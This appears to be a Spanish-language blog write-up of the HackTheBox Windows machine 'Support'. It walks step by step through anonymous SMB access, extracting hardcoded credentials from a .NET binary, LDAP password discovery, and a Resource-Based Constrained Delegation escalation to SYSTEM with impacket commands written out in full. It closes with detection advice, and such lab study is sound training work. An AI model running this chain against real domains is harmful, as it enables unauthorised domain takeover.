Skip to content
cyberknight / 91
HackTheBox Medium Windows 3 May 2026 · ~2 min

Support

Enumeración de SMB anónimo para extraer credenciales en un binario .NET, movimiento lateral vía LDAP y escalada de privilegios abusando de Resource-Based Constrained Delegation sobre un DC de Active Directory.

View on HackTheBox

Resumen

Support es una máquina Windows de dificultad media centrada en Active Directory. La cadena de explotación cubre enumeración de SMB sin autenticación, ingeniería inversa de un binario .NET para extraer credenciales hardcodeadas, enumeración LDAP con esas credenciales, y escalada final mediante Resource-Based Constrained Delegation (RBCD) para obtener un ticket de servicio como Administrator.


Reconocimiento

Nmap

nmap -sC -sV -oN nmap/initial 10.10.11.174
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http
636/tcp  open  tcpwrapped
3268/tcp open  ldap
3269/tcp open  tcpwrapped

Perfil típico de Domain Controller: DNS, Kerberos, LDAP, SMB.


Enumeración SMB

smbclient -L //10.10.11.174 -N

Acceso anónimo disponible. Listamos shares:

support-tools   Disk   Herramientas de soporte
IPC$            IPC    IPC remota

Descargamos todo el contenido de support-tools:

smbclient //10.10.11.174/support-tools -N -c 'recurse ON; prompt OFF; mget *'

Entre los archivos hay un binario llamado UserInfo.exe.


Análisis del binario .NET

file UserInfo.exe
# PE32 executable (console) Intel 80386 Mono/.Net assembly

Lo abrimos con dnSpy o ILSpy. En la clase LdapQuery encontramos:

private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76oyQ=";
private static byte[] key = { ... };

public static string getPassword() {
    byte[] enc = Convert.FromBase64String(enc_password);
    // XOR con key + "armando"
    ...
}

Extraemos la contraseña real: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.


Enumeración LDAP

Con las credenciales support\ldap / nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz:

ldapsearch -x -H ldap://10.10.11.174 \
  -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b 'DC=support,DC=htb' '(objectClass=user)' info

El campo info del usuario support contiene la contraseña:

Ironside47pleasure40Watchful

Acceso inicial — WinRM

evil-winrm -i 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'

Flag de usuario obtenida.


Escalada de privilegios — RBCD

BloodHound

bloodhound-python -u support -p 'Ironside47pleasure40Watchful' \
  -d support.htb -ns 10.10.11.174 -c All

BloodHound revela que el grupo Shared Support Accounts (del que es miembro support) tiene el permiso GenericAll sobre el objeto del Domain Controller (DC.SUPPORT.HTB).

Ataque RBCD

1. Creamos un equipo falso en el dominio:

impacket-addcomputer support.htb/support:'Ironside47pleasure40Watchful' \
  -computer-name FAKEMACHINE$ -computer-pass 'FakePass123!'

2. Configuramos RBCD — delegamos desde FAKEMACHINE$ hacia el DC:

impacket-rbcd support.htb/support:'Ironside47pleasure40Watchful' \
  -delegate-from 'FAKEMACHINE$' -delegate-to 'DC$' -action write

3. Pedimos un ticket de servicio como Administrator:

impacket-getST support.htb/FAKEMACHINE$:'FakePass123!' \
  -spn cifs/dc.support.htb -impersonate Administrator

4. Pass-the-ticket y acceso como SYSTEM:

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass dc.support.htb

Flag de root obtenida.


Lecciones

TécnicaMITRE ATT&CK
SMB Anonymous EnumerationT1135
Credential Discovery in BinaryT1552.001
LDAP EnumerationT1069.002
Resource-Based Constrained DelegationT1558.001

Detección: Monitorizar creaciones de objetos de equipo por usuarios no privilegiados (Event ID 4741) y modificaciones al atributo msDS-AllowedToActOnBehalfOfOtherIdentity (Event ID 5136).

htb-support.md
hacker@cyberknight $ stat htb-support.md
machine : Support
os : Windows
difficulty: Medium
published: 3 May 2026
words : 478
read : ~2 min
hacker@cyberknight $ tags --list
#Active Directory #SMB #BloodHound #RBCD #Kerberos #ldap
hacker@cyberknight $ echo $STATUS
[OK] retired · safe to publish
hacker@cyberknight $
all write-ups
#Active Directory#SMB#BloodHound#RBCD#Kerberos#ldap